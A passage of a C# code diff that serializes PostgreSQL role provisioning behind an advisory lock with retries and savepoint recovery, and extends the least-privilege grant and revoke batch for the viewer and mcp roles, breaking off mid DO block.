+    /// default does not leave the transaction aborted for the batch that follows it.</summary>
+    private const string ReadSavepoint = "darling_provisioning_read";
+
+    /// <summary>
+    /// Runs a role-provisioning batch in ONE transaction that first takes <see cref="ProvisioningLockKey"/>
+    /// (#5560), for a caller that has the command already built. The callback overload below has the whole contract.
+    /// </summary>
+    /// <remarks>
+    /// Takes the CALLER's command rather than SQL text, so each call site keeps spelling its own
+    /// <c>CommandTimeout</c> (the startup-deadline census reads it there). The wait for the key has its own budget
+    /// (<see cref="ProvisioningLockWaitSeconds"/>); the batch keeps the call site's <c>CommandTimeout</c>.
+    /// </remarks>
+    internal static Task ExecuteSerializedAsync(
+        NpgsqlCommand command, ILogger logger, CancellationToken cancellationToken, TimeSpan? lockWait = null)
+    {
+        ArgumentNullException.ThrowIfNull(command);
+        var connection = command.Connection ?? throw new ArgumentException("The command has no connection.", nameof(command));
+        return ExecuteSerializedCoreAsync(
+            connection,
+            (transaction, _) =>
+            {
+                command.Transaction = transaction;
+                return Task.FromResult<NpgsqlCommand?>(command);
+            },
+            disposeCommand: false, logger, lockWait, cancellationToken);
+    }
+
+    /// <summary>
+    /// Runs a role-provisioning write in ONE transaction that first takes <see cref="ProvisioningLockKey"/>, and
+    /// lets the caller read and plan INSIDE that transaction (#5560). Roles, database privileges and default
+    /// privileges are rows in shared catalogs, and PostgreSQL does not lock the row a GRANT, DROP OWNED or ALTER
+    /// ROLE rewrites: two sessions rewriting the same row at once make the second fail with XX000 "tuple
+    /// concurrently updated" once the first commits. The service adopts a postmaster that is already running, so
+    /// two services can start against one cluster at once, each running the same batch against the same
+    /// <c>CONNECT</c> ACL and the same roles. The batch is idempotent, so the loser has only to wait for the
+    /// winner, and what it read before the wait would be stale after it: <paramref name="prepare"/> runs after the
+    /// lock is taken (READ COMMITTED gives each of its reads a snapshot taken then) and returns the command to run,
+    /// or <see langword="null"/> when there is nothing to run. A transaction-scoped lock is released by the commit
+    /// (or the rollback, or the connection dropping), so it can never outlive the pooled connection it was taken on.
+    ///
+    /// <para><b>The lock never fails or stalls the write.</b> Any login with a session in the store's database can
+    /// take an advisory lock, so the key is polled with <c>pg_try_advisory_xact_lock</c> about once a second for
+    /// <see cref="ProvisioningLockWaitSeconds"/> rather than waited on without end. When that budget runs out one
+    /// warning names the key and the session holding it (pid, user, application name), and the write runs WITHOUT
+    /// the lock, in a fresh transaction, in the same order (<paramref name="prepare"/>, then the command). A write
+    /// that fails with a concurrent-write code (<see cref="IsConcurrentProvisioningConflict"/>) is run again, up to <see cref="ProvisioningConcurrentUpdateRetries"/> more times, each in a
+    /// fresh transaction, <paramref name="prepare"/> included. Npgsql closes the connection on an XX-class error, so a
+    /// retry opens it again first (a new session from the same pool). That is safe because every write here is
+    /// idempotent (the live tests run the real batch twice).</para>
+    ///
+    /// <para><b>What the lock covers.</b> An advisory lock belongs to the database the session is connected to, so
+    /// it serializes only the sessions connected to the STORE's database, although the catalog rows it protects
+    /// (<c>pg_authid</c>, <c>pg_db_role_setting</c>, <c>pg_database</c>) are cluster-wide. That is enough because
+    /// every writer connects to that one database: the managed store always uses the fixed database
+    /// <c>darling</c>, and the compose path refuses a cluster that holds any other non-template database
+    /// (<c>RefuseComposeStore</c>), so a second database with a provisioning writer cannot exist. If either rule is
+    /// ever relaxed, the lock stops serializing and only the retry is left;
+    /// <c>ProvisioningSerializationTests</c> pins both rules.</para>
+    /// </summary>
+    /// <param name="connection">An open connection with no transaction on it.</param>
+    /// <param name="prepare">Runs inside the transaction, after the lock, and returns the command to run (the helper
+    /// disposes it) or <see langword="null"/>. It runs again on a retry, so it must not keep state between runs.
+    /// A read in it that fails and is answered with a default must take the transaction's read savepoint first and
+    /// roll back to it, or the transaction stays aborted. A callback whose read failed and was not rolled back to the
+    /// read savepoint must throw, never return null, because a null return commits.</param>
+    /// <param name="lockWait">The wait for the key; defaults to <see cref="ProvisioningLockWaitSeconds"/>.</param>
+    internal static Task ExecuteSerializedAsync(
+        NpgsqlConnection connection, Func<NpgsqlTransaction, CancellationToken, Task<NpgsqlCommand?>> prepare,
+        ILogger logger, CancellationToken cancellationToken, TimeSpan? lockWait = null)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+        ArgumentNullException.ThrowIfNull(prepare);
+        return ExecuteSerializedCoreAsync(connection, prepare, disposeCommand: true, logger, lockWait, cancellationToken);
+    }
+
+    private static async Task ExecuteSerializedCoreAsync(
+        NpgsqlConnection connection, Func<NpgsqlTransaction, CancellationToken, Task<NpgsqlCommand?>> prepare,
+        bool disposeCommand, ILogger logger, TimeSpan? lockWait, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(logger);
+        var wait = lockWait ?? TimeSpan.FromSeconds(ProvisioningLockWaitSeconds);
+        var lockGivenUp = false;
+
+        for (var retries = 0; ; retries++)
+        {
+            try
+            {
+                if (!lockGivenUp)
+                {
+                    if (await RunUnderLockAsync(connection, prepare, disposeCommand, wait, logger, cancellationToken))
+                    {
+                        return;
+                    }
+
+                    lockGivenUp = true;
+                }
+
+                await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+                await RunInTransactionAsync(transaction, prepare, disposeCommand, cancellationToken);
+                return;
+            }
+            catch (PostgresException ex) when (IsConcurrentProvisioningConflict(ex) && retries < ProvisioningConcurrentUpdateRetries)
+            {
+                logger.LogInformation(
+                    "Role provisioning write failed with {SqlState} ({Message}), which a concurrent catalog rewrite causes; running it again in a new transaction (retry {Retry} of {Retries})",
+                    ex.SqlState, ex.MessageText, retries + 1, ProvisioningConcurrentUpdateRetries);
+
+                /* Npgsql breaks the connection on an XX-class error (it closes it, and the server rolls the transaction
+                   back), so the retry needs it opened again: the same object draws a new session from the pool. */
+                if (connection.State != System.Data.ConnectionState.Open)
+                {
+                    await connection.OpenAsync(cancellationToken);
+                }
+            }
+        }
+    }
+
+    /// <summary>Whether a failed provisioning write is the kind two sessions running the batch together cause, so a
+    /// rerun in a fresh transaction is right. Each is safe to rerun because the batch is idempotent and the failed
+    /// transaction rolled back, so the rerun sees the row the other session made: XX000 (a catalog row updated
+    /// under it), 23505 (both inserted the same catalog key; the rerun finds the row), 42710 (the role was created
+    /// between the existence check and the create; the rerun skips it) and 40P01 (the two took the same rows in
+    /// different orders; the other one finished). Any other code (a missing right, a timeout) is not a conflict
+    /// and reaches the caller on the first failure. Matched on the code, never the message, which
+    /// <c>lc_messages</c> translates.</summary>
+    internal static bool IsConcurrentProvisioningConflict(PostgresException ex)
+    {
+        ArgumentNullException.ThrowIfNull(ex);
+        return ex.SqlState is PostgresErrorCodes.InternalError
+            or PostgresErrorCodes.UniqueViolation
+            or PostgresErrorCodes.DuplicateObject
+            or PostgresErrorCodes.DeadlockDetected;
+    }
+
+    /// <summary>One run with the key taken. False when the wait for the key ran out (after the one warning), in which
+    /// case nothing ran.</summary>
+    private static async Task<bool> RunUnderLockAsync(
+        NpgsqlConnection connection, Func<NpgsqlTransaction, CancellationToken, Task<NpgsqlCommand?>> prepare,
+        bool disposeCommand, TimeSpan wait, ILogger logger, CancellationToken cancellationToken)
+    {
+        await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+        var clock = System.Diagnostics.Stopwatch.StartNew();
+        while (true)
+        {
+            await using (var poll = new NpgsqlCommand(
+                $"SELECT pg_try_advisory_xact_lock({ProvisioningLockKey})", connection, transaction) { CommandTimeout = ServiceCommandDeadlines.SerialLoopSeconds })
+            {
+                if ((bool)(await poll.ExecuteScalarAsync(cancellationToken))!)
+                {
+                    break;
+                }
+            }
+
+            var remaining = wait - clock.Elapsed;
+            if (remaining <= TimeSpan.Zero)
+            {
+                await WarnLockHeldAsync(connection, transaction, wait, logger, cancellationToken);
+                await transaction.RollbackAsync(cancellationToken);
+                return false;
+            }
+
+            var pause = TimeSpan.FromMilliseconds(ProvisioningLockPollMilliseconds);
+            await Task.Delay(remaining < pause ? remaining : pause, cancellationToken);
+        }
+
+        await RunInTransactionAsync(transaction, prepare, disposeCommand, cancellationToken);
+        return true;
+    }
+
+    private static async Task RunInTransactionAsync(
+        NpgsqlTransaction transaction, Func<NpgsqlTransaction, CancellationToken, Task<NpgsqlCommand?>> prepare,
+        bool disposeCommand, CancellationToken cancellationToken)
+    {
+        var command = await prepare(transaction, cancellationToken);
+        try
+        {
+            if (command is not null)
+            {
+                command.Transaction = transaction;
+                await command.ExecuteNonQueryAsync(cancellationToken);
+            }
+        }
+        finally
+        {
+            if (disposeCommand && command is not null)
+            {
+                await command.DisposeAsync();
+            }
+        }
+
+        await transaction.CommitAsync(cancellationToken);
+    }
+
+    /// <summary>The one warning for a wait that ran out: the key and the session that holds it, read from
+    /// <c>pg_locks</c> joined to <c>pg_stat_activity</c> in the current database. A login that is not a superuser,
+    /// not a member of <c>pg_read_all_stats</c> and not in the holder's role sees "many columns" of the holder's row
+    /// as null (the query text, state and client fields among them), but the pid, the session user and the
+    /// application name stay visible to everyone, so the "(not visible)" text below shows only for a row that has
+    /// no name at all (a background worker, for example). See the PostgreSQL manual, "The Cumulative Statistics
+    /// System", security note on the dynamic statistics views
+    /// (https://www.postgresql.org/docs/current/monitoring-stats.html).</summary>
+    private static async Task WarnLockHeldAsync(
+        NpgsqlConnection connection, NpgsqlTransaction transaction, TimeSpan wait, ILogger logger, CancellationToken cancellationToken)
+    {
+        var holder = "no holder found (it may have just let go)";
+        try
+        {
+            await using var command = new NpgsqlCommand(
+                $@"SELECT a.pid, a.usename, a.application_name
+FROM pg_catalog.pg_locks AS l
+JOIN pg_catalog.pg_stat_activity AS a ON a.pid = l.pid
+WHERE l.locktype = 'advisory' AND l.granted AND l.objsubid = 1
+  AND l.classid::bigint = {ProvisioningLockKey >> 32} AND l.objid::bigint = {ProvisioningLockKey & 0xFFFFFFFFL}
+  AND l.database = (SELECT d.oid FROM pg_catalog.pg_database AS d WHERE d.datname = current_database())
+LIMIT 1", connection, transaction) { CommandTimeout = ServiceCommandDeadlines.SerialLoopSeconds };
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            if (await reader.ReadAsync(cancellationToken))
+            {
+                holder = string.Format(
+                    CultureInfo.InvariantCulture, "pid {0}, user '{1}', application '{2}'",
+                    reader.GetInt32(0), reader.IsDBNull(1) ? "(not visible)" : reader.GetString(1), reader.IsDBNull(2) ? "(not visible)" : reader.GetString(2));
+            }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            holder = "the holder could not be read (" + ex.Message + ")";
+        }
+
+        logger.LogWarning(
+            "Role provisioning could not take its advisory lock 0x{Key} within {Seconds}s; it is held by {Holder}. Running the provisioning write without it. Releasing the lock from that session (or ending the session) restores the serialization.",
+            ProvisioningLockKey.ToString("X16", CultureInfo.InvariantCulture), (int)wait.TotalSeconds, holder);
+    }
+
+    /// <summary>Takes the read savepoint before a read inside the locked transaction (nothing without one).</summary>
+    private static Task TakeReadSavepointAsync(NpgsqlTransaction? transaction, CancellationToken cancellationToken) =>
+        transaction is null ? Task.CompletedTask : transaction.SaveAsync(ReadSavepoint, cancellationToken);
+
+    /// <summary>Rolls the transaction back to the read savepoint after a read that failed and was answered with a
+    /// default, so the batch after it does not meet "current transaction is aborted". Never throws: a connection that is
+    /// gone fails the batch with its own error.</summary>
+    private static async Task RecoverFromReadAsync(NpgsqlTransaction? transaction)
+    {
+        if (transaction is null)
+        {
+            return;
+        }
+
+        try
+        {
+            await transaction.RollbackAsync(ReadSavepoint, CancellationToken.None);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            /* The connection is unusable; the next command on it reports that. */
+        }
+    }
+
     /// <summary>
     /// The rest of provisioning once each role's password is in hand — shared by
     /// <see cref="EnsureProvisionedAsync"/> and <see cref="EnsureComposeStoreProvisionedAsync"/> (#3914), which
@@ -365,30 +668,38 @@ private static async Task<int> ProvisionRolesAsync(
         ProvisioningTarget target, ILogger logger, CancellationToken cancellationToken)
     {
         await using var connection = await dataSource.OpenConnectionAsync(cancellationToken);
-        /* #2357: read the live knob rather than a constant. Ordering is what makes this safe -- migrations
-           run before provisioning at startup, so the column exists by now -- and because this DDL is re-run
-           on every managed start, a changed value reaches an existing install on its next restart without
-           any new machinery. A store whose config row is not seeded yet answers with the default. */
-        var composeTimeoutSeconds = await ReadComposeStatementTimeoutAsync(connection, logger, cancellationToken);
-
-        /* #3910: the batch carries SCRAM-SHA-256 VERIFIERS, never a password, so no surface that records
-           statement text (the server log's STATEMENT lines, log_statement, auto_explain, pg_stat_statements
-           with utility tracking on) can capture a credential. And a role whose stored verifier already accepts
-           its credential file's password is not re-asserted at all: a steady-state start sends no PASSWORD
-           clause. The CREATE branch still carries a fresh verifier, for a role that does not exist yet. */
-        var stored = await ReadStoredRoleSecretsAsync(connection, logger, cancellationToken);
-        var reassert = PlanPasswordReassert(stored, adminPassword, viewerPassword, mcpPassword);
-
-        await using var command = new NpgsqlCommand(
-            BuildProvisioningSql(
-                ScramSha256Verifier.Create(adminPassword),
-                ScramSha256Verifier.Create(viewerPassword),
-                ScramSha256Verifier.Create(mcpPassword),
-                composeTimeoutSeconds,
-                reassert,
-                target),
-            connection) { CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds };
-        await command.ExecuteNonQueryAsync(cancellationToken);
+
+        /* #5560: the two reads, the plan and the batch all run inside the provisioning lock's transaction, so a sibling
+           service's batch cannot rewrite the same catalog rows at once and what this one planned from is read after
+           the wait rather than before it. The callback runs again on a retry, so it only assigns these. */
+        int? composeTimeoutSeconds = null;
+        var reassert = PasswordReassert.None;
+        await ExecuteSerializedAsync(connection, async (transaction, token) =>
+        {
+            /* #2357: read the live knob rather than a constant. Ordering is what makes this safe -- migrations
+               run before provisioning at startup, so the column exists by now -- and because this DDL is re-run
+               on every managed start, a changed value reaches an existing install on its next restart without
+               any new machinery. A store whose config row is not seeded yet answers with the default. */
+            composeTimeoutSeconds = await ReadComposeStatementTimeoutAsync(connection, transaction, logger, token);
+
+            /* #3910: the batch carries SCRAM-SHA-256 VERIFIERS, never a password, so no surface that records
+               statement text (the server log's STATEMENT lines, log_statement, auto_explain, pg_stat_statements
+               with utility tracking on) can capture a credential. And a role whose stored verifier already accepts
+               its credential file's password is not re-asserted at all: a steady-state start sends no PASSWORD
+               clause. The CREATE branch still carries a fresh verifier, for a role that does not exist yet. */
+            var stored = await ReadStoredRoleSecretsAsync(connection, transaction, logger, token);
+            reassert = PlanPasswordReassert(stored, adminPassword, viewerPassword, mcpPassword);
+
+            return new NpgsqlCommand(
+                BuildProvisioningSql(
+                    ScramSha256Verifier.Create(adminPassword),
+                    ScramSha256Verifier.Create(viewerPassword),
+                    ScramSha256Verifier.Create(mcpPassword),
+                    composeTimeoutSeconds,
+                    reassert,
+                    target),
+                connection, transaction) { CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds };
+        }, logger, cancellationToken);
 
         logger.LogInformation(
             "Role passwords: {Reasserted} (sent as SCRAM-SHA-256 verifiers, never as the password)",
@@ -397,7 +708,7 @@ statement text (the server log's STATEMENT lines, log_statement, auto_explain, p
                 : "re-asserted for " + DescribeReassert(reassert));
 
         logger.LogInformation(
-            "Least-privilege roles ready (admin: read both schemas + write config; viewer: read-only + the narrow web-surface writes (custom_views, custom_alert_rules, database_state_expected, config_mute_rules + the reload beacon); mcp: viewer's reads + INSERT on analysis_findings/analysis_muted + write config.custom_views + tune alerting (config_mute_rules, config_alert_settings, config_notification.email_cooldown_minutes, config_service reload beacon) + onboard servers (config_monitored_servers)) — the Viewer, the web dashboard and the MCP host no longer connect as the superuser");
+            "Least-privilege roles ready (admin: read both schemas + write config; viewer: read-only + the narrow web-surface writes (custom_views, custom_alert_rules, database_state_expected, config_mute_rules + the reload beacon + the config_alert_log dismissed column + server_tags, server_tag_map + INSERT and a column-level UPDATE on config_monitored_servers); mcp: viewer's reads + INSERT on analysis_findings/analysis_muted + write config.custom_views + tune alerting (config_mute_rules, config_alert_settings, config_notification.email_cooldown_minutes, config_service reload beacon) + onboard servers (config_monitored_servers) + tag servers (server_tags, server_tag_map)) — the Viewer, the web dashboard and the MCP host no longer connect as the superuser");
 
         /* CLAMPED, not raw: the batch above wrote the clamped form, so returning the raw read would hand the
            caller a baseline that differs from what the roles actually carry (a stored 0 provisions '15s').
@@ -570,10 +881,16 @@ public static async Task<bool> ReassertComposeStatementTimeoutAsync(
         try
         {
             await using var connection = await dataSource.OpenConnectionAsync(cancellationToken);
+            /* #5560: the same lock as provisioning, so a reload cannot rewrite a role row a starting sibling is
+               rewriting. The wait is the serial-loop deadline, not the full provisioning wait, because this runs at
+               the top of a sweep: a key something else is holding delays the reload by that wait, then the lines run
+               without it, so the bound is that wait plus the batch at its own CommandTimeout (and a rerun if it
+               hits a concurrent-write failure). */
             await using var command = new NpgsqlCommand(
                 BuildComposeStatementTimeoutSql(composeStatementTimeoutSeconds) + "\n" + BuildComposeTempFileLimitSql(),
                 connection) { CommandTimeout = ServiceCommandDeadlines.SerialLoopSeconds };
-            await command.ExecuteNonQueryAsync(cancellationToken);
+            await ExecuteSerializedAsync(
+                command, logger, cancellationToken, lockWait: TimeSpan.FromSeconds(ServiceCommandDeadlines.SerialLoopSeconds));
 
             logger.LogInformation(
                 "Compose statement_timeout re-asserted on the viewer/mcp roles at {Seconds}s, with slow-statement logging at {SlowMs} ms and a temp_file_limit of {TempFileLimit} — takes effect on each role's next session (an already-connected viewer keeps the old ceiling until it reconnects)",
@@ -699,13 +1016,14 @@ private static void TryDelete(string path, ILogger logger)
     /// be reported as "the store said 15". That is the <c>ex is not OperationCanceledException</c> filter
     /// this file's own callers already use.</para>
     /// </summary>
-    private static async Task<int?> ReadComposeStatementTimeoutAsync(
-        NpgsqlConnection connection, ILogger logger, CancellationToken cancellationToken)
+    internal static async Task<int?> ReadComposeStatementTimeoutAsync(
+        NpgsqlConnection connection, NpgsqlTransaction? transaction, ILogger logger, CancellationToken cancellationToken)
     {
         try
         {
+            await TakeReadSavepointAsync(transaction, cancellationToken);
             await using var command = new NpgsqlCommand(
-                "SELECT compose_statement_timeout_seconds FROM config.config_service WHERE id = 1", connection) { CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds };
+                "SELECT compose_statement_timeout_seconds FROM config.config_service WHERE id = 1", connection, transaction) { CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds };
             var value = await command.ExecuteScalarAsync(cancellationToken);
 
             /* No row, or a NULL column: the store has not been seeded yet. The shipped default is the
@@ -717,6 +1035,7 @@ private static void TryDelete(string path, ILogger logger)
         {
             /* A store older than the column or the table. Also "no opinion", and expected on a first start
                against a pre-#2357 store, so it is not a warning. */
+            await RecoverFromReadAsync(transaction);
             logger.LogDebug(
                 "config_service.compose_statement_timeout_seconds is not present on this store ({SqlState}) — provisioning the roles with the shipped {Seconds}s default",
                 ex.SqlState, McpCommandDeadlines.ComposedQueryFallbackSeconds);
@@ -725,6 +1044,7 @@ private static void TryDelete(string path, ILogger logger)
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
+            await RecoverFromReadAsync(transaction);
             logger.LogWarning(
                 "Could not read config_service.compose_statement_timeout_seconds ({Message}) — leaving the viewer/mcp roles' statement_timeout at whatever the last successful provisioning set, rather than overwriting it with a default the operator did not choose. #2931's client-side composed-query deadline reads the same column, so writing a guess here would desync the two halves of that backstop.",
                 ex.Message);
@@ -999,6 +1319,13 @@ ALTER DEFAULT PRIVILEGES FOR ROLE {owner} IN SCHEMA {collect}
 GRANT INSERT, UPDATE, DELETE ON {config}.config_mute_rules TO {mcp};
 GRANT UPDATE ON {config}.config_alert_settings TO {mcp};
 GRANT UPDATE (config_version, updated_at) ON {config}.config_service TO {mcp};
+-- #5085: the fleet server-tag write tools (create/update/delete/assign/unassign_server_tag) run as mcp. The admin
+--    gate is these two single-table grants and nothing else: a role without them gets 42501 on a tag write.
+--    Both tables are non-secret, have no reload-beacon trigger (so no config_service column is needed) and
+--    server_tags.id is GENERATED ALWAYS AS IDENTITY (so no sequence grant). Provisioning re-runs every start, so
+--    no migration rung carries this.
+GRANT INSERT, UPDATE, DELETE ON {config}.server_tags TO {mcp};
+GRANT INSERT, UPDATE, DELETE ON {config}.server_tag_map TO {mcp};
 -- #3450: the web dashboard's dedicated mute-rule endpoints (POST/PATCH/PUT/DELETE under /api/mute-rules) run
 --    as the least-privilege viewer role -- the web host's ONLY store identity -- so viewer gets the SAME
 --    single-table config_mute_rules write mcp holds above, the shape of the custom_views/custom_alert_rules
@@ -1015,6 +1342,51 @@ ALTER DEFAULT PRIVILEGES FOR ROLE {owner} IN SCHEMA {collect}
 --    read-only UX is unchanged by this grant.
 GRANT INSERT, UPDATE, DELETE ON {config}.config_mute_rules TO {viewer};
 GRANT UPDATE (config_version, updated_at) ON {config}.config_service TO {viewer};
+-- #4843: the web dashboard's Alert History dismiss route (POST /api/alert-history/dismiss) runs as viewer, the web
+--    host's ONLY store identity, and its write is `UPDATE config_alert_log SET dismissed = TRUE` (AlertDismissStore,
+--    the one copy the Viewer's Dismiss Selected / Dismiss All share). The grant is COLUMN-level on exactly that one
+--    column: viewer can flip the dismissed flag and cannot rewrite what an alert said (alert_time, server_id,
+--    metric_name, the values, send_error, muted, detail_text, context_json) or reach INSERT/DELETE. config_alert_log
+--    carries no trigger, so nothing else is written as the invoking role. The seat model, not this grant, decides who
+--    may call the route (a read-only OIDC seat is refused every unsafe method by the host's write gate). The WPF
+--    read-only probe is unaffected: has_table_privilege(..., 'UPDATE') answers for the TABLE-level privilege only
+--    (the column-level form is has_column_privilege), so it stays false for viewer and the locked-down Viewer's
+--    dismiss buttons stay hidden. mcp gets no such grant: no MCP tool dismisses an alert.
+GRANT UPDATE (dismissed) ON {config}.config_alert_log TO {viewer};
+-- #5085: the web dashboard's server-tag endpoints (POST/PATCH/DELETE under /api/server-tags) run as viewer, so it
+--    gets the SAME two single-table writes mcp holds above. The seat model decides who may call them (a read-only
+--    seat is refused every unsafe method); these grants are only the floor beneath that gate. Both tables are
+--    non-secret and carry no reload-beacon trigger, so no config_service column is involved. The WPF Viewer's
+--    read-only probe is unchanged: it discriminates on config_alert_log UPDATE (ViewerDataService.ReadOnlyProbeSql),
+--    which these grants do not touch, so a read-only desktop seat still reads as read-only and its tag editors
+--    stay disabled. A server removal also clears that server's server_tag_map rows, which needs the DELETE here.
+GRANT INSERT, UPDATE, DELETE ON {config}.server_tags TO {viewer};
+GRANT INSERT, UPDATE, DELETE ON {config}.server_tag_map TO {viewer};
+-- #4843: the web dashboard's add-server route (POST /api/servers) runs the SAME add_servers core the MCP tool runs, as
+--    viewer, so viewer gets the INSERT that core issues on config_monitored_servers; no DELETE, because no web route
+--    removes a server yet. Viewer holds no UPDATE on the table: see the #5240 note right below.
+--    The credential column stays out of reach in both directions that matter here. encrypted_password is still
+--    SELECT-carved from viewer (section 6), so viewer can WRITE a password blob and never READ one back; and the
+--    cores need no carved read to write: the INSERT names no RETURNING, its ON CONFLICT (server_id) DO NOTHING arbiter
+--    reads only server_id, and the dedupe and by-id lookups SELECT the five non-secret identity columns viewer
+--    already holds. The BEACON is covered by the two-column config_service grant above: the write fires
+--    trg_bump_monitored_servers -> config_bump_version (SECURITY INVOKER), which UPDATEs config_service.config_version
+--    AS viewer. The seat model, not this grant, decides who may call the route (a read-only seat is refused every
+--    unsafe method); the grant is only the floor beneath that gate. The WPF Viewer's read-only probe is unchanged: it
+--    discriminates on config_alert_log UPDATE (ViewerDataService.ReadOnlyProbeSql), which this grant does not touch.
+GRANT INSERT ON {config}.config_monitored_servers TO {viewer};
+-- #5240: the web dashboard's edit route (PATCH /api/servers/{{id}}) and the MCP edit_server tool change a monitored
+--    server through {config}.edit_monitored_server, a SECURITY DEFINER function granted to viewer and mcp in section 10.
+--    Viewer holds NO UPDATE on this table, column-level or otherwise: the function checks the optimistic token, works
+--    out for itself whether host or port moves, and refuses a move that keeps the stored secret on a SQL or
+--    service-principal row, so a session holding the viewer login cannot send a stored secret to a host it picks.
+--    REVOKE, not merely an absent grant: a store that ran a build with a column-level UPDATE keeps it until this
+--    statement takes it away, and revoking the table privilege also revokes every column privilege on it, so each run
+--    leaves viewer with no UPDATE at all (the same shape as the section-6 read carve). A plain REVOKE removes only the
+--    privileges recorded as granted by the role that issues it (a superuser or the owner counts as the owner); this
+--    batch grants and revokes as that same owner. The write fires trg_bump_monitored_servers inside the function, as
+--    the owner. Idempotent, applied on every managed startup: not a migration rung.
+REVOKE UPDATE ON {config}.config_monitored_servers FROM {viewer};
 -- #3314: the DELIVERY cooldown -- the sole throttle on a Slack/Teams/PagerDuty/webhook post -- is the one
 -- alert-engine knob stored on config_notification rather than config_alert_settings, so update_alert_settings
 -- spans two tables and needs a write here. This DOES widen mcp into a table holding bearer secrets (the SMTP
@@ -1051,7 +1423,13 @@ ALTER DEFAULT PRIVILEGES FOR ROLE {owner} IN SCHEMA {collect}
 --    config_monitored_servers write fires trg_bump_monitored_servers -> config_bump_version (SECURITY INVOKER),
 --    which UPDATEs config_service.config_version AS mcp, and section 8 already granted mcp
 --    UPDATE (config_version, updated_at) ON config_service -- so no additional config_service grant is needed here.
-GRANT INSERT, UPDATE, DELETE ON {config}.config_monitored_servers TO {mcp};
+GRANT INSERT, DELETE ON {config}.config_monitored_servers TO {mcp};
+REVOKE UPDATE ON {config}.config_monitored_servers FROM {mcp};
+-- The role and external ID of a server are set only through the edit function (and an INSERT): mcp's UPDATE
+-- names every other column of the table and leaves out aws_role_arn, aws_external_id and the generated
+-- aws_external_id_set. A column added to the table later is added to this list.
+GRANT UPDATE ({McpMonitoredServerUpdateColumns})
+   ON {config}.config_monitored_servers TO {mcp};
 
 -- 10. Custom-alert resolve-on-delete privileged write (#3334). The recovery/resolution row a caller-initiated
 --     rule DELETE writes (CustomAlertEvaluator.WriteTeardownResolutionAsync) lands in config.config_alert_log,
@@ -1067,7 +1445,7 @@ ALTER DEFAULT PRIVILEGES FOR ROLE {owner} IN SCHEMA {collect}
 --     rather than a natural clear's 'tray' (a teardown surfaces no operator notification) -- so a caller can
 --     page nothing and fabricate no fire; only server_id/name and the already-sanitized title/detail vary.
 --     Definer-safe: owned by the store owner (the creating provisioning role, {owner}), an explicit pinned
---     search_path so no injected path can redirect the unqualified config_alert_log or now(), and a fully
+--     search_path with pg_temp last and the table named by its schema, so no temporary object can redirect the config_alert_log write or now(), and a fully
 --     parameterized INSERT with NO dynamic SQL. Created + REVOKEd-from-PUBLIC by the shared builder below;
 --     EXECUTE is the only privilege the least-privilege roles get, and admin/owner keep their direct INSERT and
 --     never call it. NOT a versioned migration: CREATE OR REPLACE is idempotent and owner-run every start and
@@ -1075,6 +1453,79 @@ ALTER DEFAULT PRIVILEGES FOR ROLE {owner} IN SCHEMA {collect}
 --     probe rung + ladder fixture + version-pin tests for no gain.
 {BuildCustomAlertResolveFunctionSql(config)}
 GRANT EXECUTE ON FUNCTION {config}.record_custom_alert_resolution(integer, text, text, text) TO {viewer}, {mcp};
+-- #5240: the edit write. The web edit route (viewer) and the MCP edit_server tool (mcp) call
+--     {config}.edit_monitored_server for their one UPDATE of a config_monitored_servers row. It locks the row, checks
+--     the expected modified_at, and refuses a change of host or port that keeps the stored secret on a SQL or
+--     service-principal row (the caller must send a new secret with it). Owned by the store owner, pinned
+--     search_path, one fixed UPDATE with no dynamic SQL; created and REVOKEd from PUBLIC by the shared builder
+--     below, and EXECUTE is the only privilege viewer and mcp get for this write. NOT a versioned migration:
+--     CREATE OR REPLACE is idempotent and owner-run every start. A self-managed store gets the same function from
+--     tools/provision-roles.sql, and is told to re-run it when the function is missing.
+{BuildEditMonitoredServerFunctionSql(config)}
+GRANT EXECUTE ON FUNCTION {config}.edit_monitored_server({EditMonitoredServerSignature}) TO {viewer}, {mcp};
+-- #5452: the 15-argument edit function stays as a permanent wrapper over the 17-argument one, for a caller that
+--     was built before the AWS role columns. It passes NULL for both and strips the two AWS column names from
+--     p_columns, so a caller of the old signature can neither change nor clear a role. Same grants, same owner.
+{BuildEditMonitoredServerLegacyWrapperSql(config)}
+GRANT EXECUTE ON FUNCTION {config}.edit_monitored_server({EditMonitoredServerLegacySignature}) TO {viewer}, {mcp};
+-- The store's own password rules for every role but the owner (see BuildServerPasswordRulesSql): a trigger on
+--     config_monitored_servers that refuses a password reference (env: or file:) and a move that keeps the stored
+--     password. Created here, not in a migration: CREATE OR REPLACE is idempotent and owner-run every start. A
+--     self-managed store gets the same function and trigger from tools/provision-roles.sql.
+{BuildServerPasswordRulesSql(config)}
+
+-- 10a. The password key tables (V165, #5366; V167 adds the legacy pin candidate table): written only by the store owner (the service, its command line and the
+--     migration runner); a trigger on each table refuses every other writer. This is the grant side of the same rule,
+--     and it runs after EVERY blanket grant above (the schema-wide SELECT and write grants and the mcp column ACL), so
+--     none of them can put a privilege back. REVOKE ALL ... CASCADE takes every privilege on the five tables from
+--     PUBLIC and the three roles, TRIGGER and REFERENCES included, so no role can add a new trigger or foreign key. A
+--     trigger or foreign key already there (made while a role held the privilege) is dropped by the loops below, with
+--     a WARNING, because it would outlast the REVOKE. Then SELECT on the key and service-state tables is granted back
+--     to {admin} only (the desktop Viewer reads them as admin), and the DO block checks that nothing else is left; the
+--     pin tables are read by the owner only. Provisioning runs after the migrations, so the tables exist here.
+REVOKE ALL ON {config}.password_key, {config}.password_key_service,
+   {config}.legacy_secret_pin, {config}.legacy_secret_pin_marker FROM PUBLIC, {admin}, {viewer}, {mcp} CASCADE;
+REVOKE ALL ON {config}.legacy_secret_pin_candidate FROM PUBLIC, {admin}, {viewer}, {mcp} CASCADE;
+GRANT SELECT ON {config}.password_key, {config}.password_key_service TO {admin};
+DO $do$
+DECLARE
+   stray record;
+BEGIN
+   FOR stray IN
